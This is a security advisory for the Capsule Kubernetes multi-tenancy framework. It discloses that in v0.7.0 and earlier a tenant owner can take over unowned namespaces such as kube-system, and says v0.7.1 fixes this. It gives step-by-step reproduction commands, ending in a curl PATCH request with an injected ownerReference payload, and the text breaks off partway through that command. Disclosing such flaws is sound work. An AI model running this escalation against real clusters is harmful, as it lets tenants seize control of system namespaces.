Capsule is a multi-tenancy and policy-based framework for Kubernetes. In Capsule v0.7.0 and earlier, the tenant-owner can patch any arbitrary namespace that has not been taken over by a tenant (i.e., namespaces without the ownerReference field), thereby gaining control of that namespace. Version 0.7.1 contains a patch.

Affected: Go: github.com/projectcapsule/capsule

# Attack Vector Then, let me briefly explain the reasons for the errors mentioned above: 1. The 'kubectl edit' command was used to patch the namespace, but this operation requires both 'get' and 'patch' permissions, hence the error. One should use methods like 'curl' to directly send a PATCH request; 2. The webhook does not intercept patch operations on 'kube-system' because 'kube-system' does not have an ownerReference.

# Below are my detailed reproduction steps 1. Create a test cluster `kind create cluster --image=kindest/node:v1.24.15 --name=k8s` 2. Install the capsule `helm install capsule projectcapsule/capsule -n capsule-system --create-namespace` 3. Create a tenant ``` kubectl create -f - << EOF apiVersion: capsule.clastix.io/v1beta2 kind: Tenant metadata: name: tenant1 spec: owners: - name: alice kind: User EOF ``` 4. Create user alice ``` ./create-user.sh alice tenant1 capsule.clastix.io export KUBECONFIG=alice-tenant1.kubeconfig ``` 5. Patch kube-system (The first command is executed in the current shell, while the 2nd and 3rd commands require a different shell window because the current shell is being used as a proxy.) ``` kubectl proxy

export DATA='[{"op": "add", "path": "/metadata/ownerReferences", "value":[{"apiVersion": "capsule.clastix.io/v1beta2", "blockOwnerDeletion": true, "controller": true, "kind": "Tenant", "name": "tenant1", "uid": "ce3f2296-4aaa-45b0-a8fe-879d5096f193"}]}]'

curl http://localhost:8001/api/v1/namespaces/kube-system/ -X PATC…